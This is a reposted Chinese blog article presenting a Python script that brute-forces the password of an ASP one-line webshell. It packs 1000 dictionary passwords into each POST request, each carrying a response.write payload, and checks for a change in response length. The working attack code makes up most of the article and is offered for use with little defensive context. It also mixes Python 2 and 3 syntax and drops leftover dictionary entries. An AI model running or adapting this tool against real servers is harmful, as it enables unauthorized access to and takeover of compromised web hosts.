Python安全工具之一句話密碼爆破(秒破十萬)


今天看到t00ls某版主發出的一個帖子,說一秒爆十萬密碼。

原理:

其原理就是apache和iis可以多參數提交,apache最多同時提交1000個參數,而iis據說可以提交5883個參數,那么就可以批量提交千個參數去判斷哪個是一句話的密碼,效率就比一個一個參數提交提高了千倍!

 

操作:

輸入正常密碼時,會顯示。我們可以放多個看看。

 

 

大概的原理明白了,就開始寫Python吧,代碼先寫出來講講

#!/usr/bin/python
#coding=utf-8
import requests
import time

if __name__ == '__main__':
    url = "http://127.0.0.1/1.asp"
    postdata={}
    password = open('d:\\pass.txt').read().split('\n')

    dics = len(password)/1000

    print("#當前字典變量個數為:%s" % str(len(password)))

    print("#字典被分割成%s" % str(dics))

    #print(password)

    # 下面建立錯誤密碼的返回標識符
    post_test = {'test_pass_test': 'response.write("test!")'}
    res = requests.post(url, data=post_test)
    wrong_res = res.text

    for i in range(0, dics):
        new_group = []
        for k in range(i * 1000, (i + 1) * 1000):
            new_group.append(password[k])
            k += 1
        for each in new_group:
            postdata[each] = 'response.write("password is %s")' % each
        r = requests.post(url, data=postdata)
        print "#進行第 %s 組字典爆破" % str(i + 1)
        postdata.clear()
        i += 1
        print r.text
        if len(r.text) != len(wrong_res):
            break

 

思路:

1、讀取字典密碼,同時進行相關處理

2、將密碼分割成1000個一份。

3、首先進行錯誤頁面判斷,然后開始爆破


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM